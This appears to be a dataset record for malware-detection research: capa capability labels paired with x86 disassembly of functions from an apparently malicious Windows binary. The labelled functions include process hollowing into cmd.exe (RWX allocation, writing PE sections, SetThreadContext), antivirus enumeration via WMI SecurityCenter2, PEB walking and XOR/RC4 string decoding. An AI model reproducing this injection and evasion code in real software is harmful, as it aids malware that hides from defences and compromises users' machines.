joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4047d9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebx + 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [ebp - 4], 0
mov edi, eax
mov byte [edi + ebx], 0
test ebx, ebx
je 0x404837
mov eax, dword [ebp + 8]
sub eax, edi
mov dword [ebp - 8], eax
push esi
mov esi, dword [ebp - 4]
push dword [ebp + 0xc]
add esi, edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
mov eax, dword [ebp - 4]
xor edx, edx
div ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov al, byte [edx + eax]
xor al, byte [ecx + esi]
inc dword [ebp - 4]
mov byte [esi], al
cmp dword [ebp - 4], ebx
jb 0x404809
pop esi
mov eax, edi
pop edi
leave
ret

Function at 0x404a2f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x33323130
mov dword [ebp - 0xc], 0x37363534
mov word [ebp - 8], 0x3938
mov byte [ebp - 6], 0
mov ecx, edi
mov eax, esi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
inc ecx
test eax, eax
jne 0x404a5f
mov byte [ecx], al
pop ebx
mov eax, esi
xor edx, edx
push 0xa
pop esi
div esi
dec ecx
mov dl, byte [ebp + edx - 0x10]
mov esi, eax
mov byte [ecx], dl
test esi, esi
jne 0x404a6d
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, edi
pop esi
call fcn.0041cae4
leave
ret
Function at 0x406955
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
sub esp, 0xc
mov dword [ebp - 0x8d8], eax
lea eax, [ebp + 0xc]
mov esi, esp
call fcn.0041076c
lea eax, [ebp - 0x980]
push eax
call fcn.00404aa7
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x944]
rep movsd dword es:[edi], dword [esi]
push 0x4359d6
lea esi, [ebp - 0x8f8]
call fcn.0041073a
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [ebp + 0x18]
call dword [0x6e8ee4]
push dword [0x6e8bac]
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x940]
xor esi, esi
call dword [0x6e8fc0]
test eax, eax
jne 0x4069dc
inc esi
cmp dword [ebp - 0x8dc], ebx
je 0x406b60
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x92c]
push dword [ebp - 0x934]
push dword [ebp - 0x8dc]
call dword [0x6e8fe4]
mov dword [ebp - 0x8e8], eax
cmp eax, ebx
je 0x406b54
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x6e89f8]
push dword [ebp - 0x918]
push 0x436944
push dword [ebp - 0x8e8]
call dword [0x6e9024]
mov edi, eax
mov dword [ebp - 0x8e0], edi
cmp edi, ebx
je 0x406b48
cmp esi, ebx
je 0x406a75
or dword [ebp - 0x8ec], 0x10300
push 4
lea eax, [ebp - 0x8ec]
push eax
push 0x1f
push edi
call dword [0x6e8ddc]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x6e8fac]
push ebx
mov esi, eax
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x13
push edi
mov dword [ebp - 0x8fc], 0x100
call dword [0x6e903c]
test eax, eax
jne 0x406abd
push 0x436948
mov esi, dword [ebp - 0x8d8]
call fcn.0041073a
jmp 0x406b71
lea edx, [ebp - 0x104]
call fcn.00411d50
cmp eax, 0xc8
jne 0x406b9d
cmp esi, ebx
je 0x406b3c
mov edi, 0x7cf
jmp 0x406b1d
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x406b3c
mov byte [ebp + eax - 0x8d4], bl
lea eax, [ebp - 0x8d4]
push eax
lea esi, [ebp - 0x908]
lea eax, [ebp - 0x8f8]
call fcn.0041085c
lea esi, [ebp - 0x8f8]
call fcn.004107e0
mov eax, dword [ebp - 0x908]
call fcn.00402910
lea eax, [ebp - 0x8e4]
push eax
push edi
lea eax, [ebp - 0x8d4]
push eax
push dword [ebp - 0x8e0]
call dword [0x6e8f0c]
test eax, eax
jne 0x406ade
push dword [ebp - 0x8e0]
call dword [0x6e8ee0]
push dword [ebp - 0x8e8]
call dword [0x6e8ee0]
push dword [ebp - 0x8dc]
call dword [0x6e8ee0]
mov esi, dword [ebp - 0x8d8]
lea eax, [ebp - 0x8f8]
call fcn.0041076c
mov eax, dword [ebp - 0x8f8]
call fcn.00402910
mov eax, dword [ebp + 0xc]
call fcn.00402910
mov eax, dword [ebp + 0x18]
call fcn.00402910
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cae4
leave
ret
push str.ERROR
jmp 0x406aad
Function at 0x407731
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0x40
push 0
push esi
call fcn.00407ccd
add esp, 0x10
test eax, eax
jne 0x407751
xor eax, eax
inc eax
jmp 0x4077e7
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x4077e4
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4077e4
push dword [ebp + 8]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call fcn.00407ccd
add esp, 0x10
test eax, eax
je 0x407749
cmp dword [edi], 0x4550
jne 0x4077e4
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x4077e4
movzx eax, word [esi + 0x46]
test ax, ax
je 0x4077e4
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.00411dcb
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x4077b9
push 3
jmp 0x4077e6
push dword [ebp + 8]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00407ccd
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x4077e7
push 2
pop eax
pop edi
pop ebp
ret
Function at 0x40f870
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x40f936
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.004236e0
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x4355bd
push str.C:WindowsSystem32cmd.exe
call dword [0x6e8e90]
test eax, eax
je 0x40f934
push edi
push 0x1000
push edi
push ebx
call dword [0x6e8f4c]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40f934
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40f93b
push dword [ebp - 0x20]
call dword [0x6e9000]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40f995
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x40f95e
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [0x6e9000]
mov eax, dword [ebp - 0x1c]
jmp 0x40f936
Function at 0x411a5a
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x4c
mov eax, 0x42ecf2
call fcn.0042ebd9
mov esi, ecx
mov dword [ebp - 0x3c], esi
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x30], edi
lea eax, [ebp - 0x30]
push eax
push 0x431e48
push 1
push edi
push 0x431f18
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411bc4
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push edi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x435e68
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x411bbd
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x34]
cmp eax, edi
je 0x411bb7
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2c]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x38], edi
je 0x411bb7
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x58]
push edx
push edi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x50]
lea ecx, [ebp - 0x44]
call fcn.004119aa
pop ecx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push edi
call dword [0x6e8ff0]
push eax
call dword [0x6e8f80]
mov edi, eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x24]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x1e]
push eax
push str._d__d__d__d:_d:_d
push edi
call dword [0x6e8e00]
add esp, 0x20
push edi
call fcn.0041073a
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x411be2
or dword [ebp - 4], 0xffffffff
jmp 0x411bd8
push 0x435e9c
jmp 0x411bdd
push 0x435ea4
jmp 0x411bdd
push 0x435eac
call fcn.0041073a
mov eax, esi
call fcn.0042ec35
ret
Function at 0x411bea
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x30
mov eax, 0x42ecd7
call fcn.0042eb6d
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x431e48
push 1
push edi
push 0x431f18
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x18]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.rootSecurityCenter2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411cf3
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
push edi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x435f20
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x411cec
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x20]
cmp eax, edi
je 0x411ce6
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
lea edx, [ebp - 0x28]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x24], edi
je 0x411ce6
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x3c]
push edx
push edi
push str.displayName
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x34]
call fcn.00411f95
pop ecx
push eax
call fcn.0041073a
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x411d11
or dword [ebp - 4], 0xffffffff
jmp 0x411d07
push 0x435f40
jmp 0x411d0c
push 0x435f48
jmp 0x411d0c
push str.Unknown
call fcn.0041073a
mov eax, esi
call fcn.0042ec12
ret

Function at 0x412503
Capabilities:
Enumerate process modules

Disassembly:
push 0x118
mov eax, 0x42ecaf
call fcn.0042ebd9
mov eax, dword [ebp + 8]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x11c], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, 0x435d5c
lea edi, [ebp - 0x118]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xfa
push ebx
lea eax, [ebp - 0x10e]
push eax
call fcn.004236e0
add esp, 0xc
push dword [ebp - 0x11c]
push ebx
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x412599
lea eax, [ebp - 0x124]
push eax
push 4
lea eax, [ebp - 0x11c]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x412599
push 0x104
lea eax, [ebp - 0x118]
push eax
push dword [ebp - 0x11c]
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x118]
push eax
mov esi, dword [ebp - 0x120]
call fcn.0041073a
mov eax, esi
call fcn.0042ec35
ret
Function at 0x412943
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x20]
mov ecx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], 0x4357af
mov word [ebp - 0x10], cx
mov dword [ebp - 6], 0x4357b2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret

Function at 0x412def
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
sub esp, 0xc
mov esi, esp
push 0x4355b6
call fcn.0041073a
sub esp, 0xc
lea eax, [ebp + 8]
mov esi, esp
call fcn.0041076c
call fcn.00405229
add esp, 0x18
cmp dword [ebp + 0x14], 0
mov esi, eax
mov dword [ebp - 4], edx
je 0x412f58
push 0x4355b7
lea esi, [ebp - 0xc]
call fcn.0041073a
push str..exe
push 6
pop ebx
lea edi, [ebp - 0x18]
call fcn.00411e9d
push 0x4356ec
push dword [0x6e8bd0]
mov edi, eax
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.0041085c
lea esi, [ebp - 0x30]
call fcn.0041085c
lea esi, [ebp - 0x48]
call fcn.0041081a
lea esi, [ebp - 0x3c]
call fcn.0041085c
lea esi, [ebp - 0xc]
call fcn.004107e0
mov eax, dword [ebp - 0x3c]
call fcn.00402910
mov eax, dword [ebp - 0x48]
call fcn.00402910
mov eax, dword [ebp - 0x30]
call fcn.00402910
mov eax, dword [ebp - 0x24]
call fcn.00402910
mov eax, dword [ebp - 0x18]
call fcn.00402910
push 0x1c00
push 0x43cca0
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.0041076c
call fcn.00412848
xor eax, eax
lea edi, [ebp - 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x14
push 0x44
stosd dword es:[edi], eax
xor ebx, ebx
lea eax, [ebp - 0xa0]
push ebx
push eax
call fcn.004236e0
add esp, 0xc
push 0x4356f8
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.0041085c
lea edi, [ebp + 8]
lea esi, [ebp - 0x18]
call fcn.0041081a
lea esi, [ebp - 0xc]
call fcn.004107e0
mov eax, dword [ebp - 0x18]
call fcn.00402910
mov eax, dword [ebp - 0x24]
call fcn.00402910
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0xc]
call fcn.00402910
xor edi, edi
inc edi
lea esi, [ebp + 0x18]
call fcn.00401cce
mov eax, dword [ebp + 8]
call fcn.00402910
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
xor edi, edi
push esi
call fcn.0040f870
pop ecx
test eax, eax
jne 0x412f3e
inc edi
cmp edi, 0x64
jl 0x412f5a
xor edi, edi
jmp 0x412f41
Function at 0x41534f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x435a18
push dword [ebp + 0x80]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x460], ebx
mov dword [ebp - 0x470], ebx
call dword [0x6e8f1c]
xor esi, esi
inc esi
test eax, eax
je 0x41539b
mov dword [ebp - 0x460], esi
push ebx
push 0x435a28
push dword [ebp + 0x80]
call dword [0x6e8f1c]
test eax, eax
je 0x4153bd
mov dword [ebp - 0x460], esi
mov dword [ebp - 0x470], esi
cmp dword [ebp - 0x460], ebx
je 0x4154e5
lea eax, [ebp - 0x74]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x74]
cmp byte [ebp - 0x74], bl
je 0x415555
jmp 0x4153e5
xor ebx, ebx
push 0x3e8
lea eax, [ebp - 0x45c]
push ebx
push eax
call fcn.004236e0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x470], ebx
je 0x415429
cmp eax, 2
jne 0x415429
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x6e9038]
push esi
push str._DRIVE_REMOVABLE_
jmp 0x415442
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x6e9038]
push esi
push str._DRIVE_FIXED_
lea eax, [ebp - 0x45c]
call fcn.00412361
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [0x6e9038]
mov eax, dword [ebp + 0x8c]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x468], eax
call fcn.00401ced
xor ebx, ebx
push ebx
push dword [ebp + 0xa4]
lea eax, [ebp - 0x45c]
push dword [ebp - 0x460]
push dword [ebp + 0x9c]
push ebx
push dword [ebp + 0x98]
push dword [ebp - 0x46c]
push eax
push dword [ebp - 0x464]
push 0x435627
push dword [ebp - 0x468]
call fcn.00414ed5
add esp, 0x94
push esi
call dword [0x6e8ea4]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x4153e3
jmp 0x415553
mov eax, dword [ebp + 0x80]
mov esi, dword [ebp + 0x8c]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x46c], eax
call fcn.00401ced
xor eax, eax
push eax
push dword [ebp + 0xa4]
push eax
push dword [ebp + 0x9c]
push eax
push dword [ebp + 0x98]
push esi
push dword [ebp - 0x468]
push dword [ebp - 0x464]
push 0x435635
push dword [ebp - 0x46c]
call fcn.00414ed5
add esp, 0x94
xor ebx, ebx
mov eax, dword [ebp - 0x474]
lea esi, [ebp + 0xc]
mov dword [eax], ebx
call fcn.00401cce
lea ecx, [ebp + 0x74]
call fcn.0041557c
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cae4
leave
ret
Function at 0x4170a4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push edi
lea eax, [ebp - 0x48]
call fcn.0041717d
test byte [0x6e8dd0], 1
mov eax, dword [ebp + 0x40]
je 0x4170c3
mov eax, dword [ebp + 0x44]
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0xc]
lea esi, [ebp - 0x20]
call fcn.004107e0
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp + 0x48]
lea esi, [ebp - 0x44]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call fcn.004107e0
lea eax, [ebp + 0x1c]
lea esi, [ebp - 0x38]
call fcn.004107e0
lea eax, [ebp + 0x28]
lea esi, [ebp - 0x2c]
call fcn.004107e0
mov esi, 0x3e8
jmp 0x417111
push esi
call dword [0x6e8e18]
cmp dword [0x6e8dd0], 2
jae 0x41710a
inc dword [0x6e8dd0]
cmp dword [0x6e8dcc], edi
je 0x417136
mov ecx, dword [ebp + 0x18]
push ebx
push dword [ebp + 0xc]
call fcn.0041c77e
pop ecx
pop ecx
push edi
push edi
lea eax, [ebp - 0x48]
push eax
push 0x416fd3
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [ebp + 8]
push 0x4356fa
call fcn.0041073a
lea esi, [ebp - 0x48]
call fcn.004171a4
lea esi, [ebp + 0x1c]
call fcn.00401cce
mov eax, dword [ebp + 0xc]
call fcn.00402910
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret
Function at 0x41804c
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x41a0a0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov ebx, eax
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x41a0ce
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call fcn.004236e0
mov eax, ebx
movzx ecx, word [eax*8 + 0x43515a]
mov dword [esi + 0x6af98], ecx
movzx ecx, word [eax*8 + 0x435158]
mov dword [esi + 0x6af9c], ecx
movzx ecx, word [eax*8 + 0x43515c]
mov dword [esi + 0x6afa0], ecx
movzx eax, word [eax*8 + 0x43515e]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ebx, 2
jg 0x41a131
mov eax, dword [ebp + 8]
or word [eax], 4
jmp 0x41a13d
cmp ebx, 8
jl 0x41a13d
mov eax, dword [ebp + 8]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
add esp, 0xc
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0x41a1a2
cmp eax, 0xffffffff
je 0x41a1a2
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x41a17d
call fcn.0041a2f8
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0x41a185
jmp 0x41a1b2
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
pop ebp
ret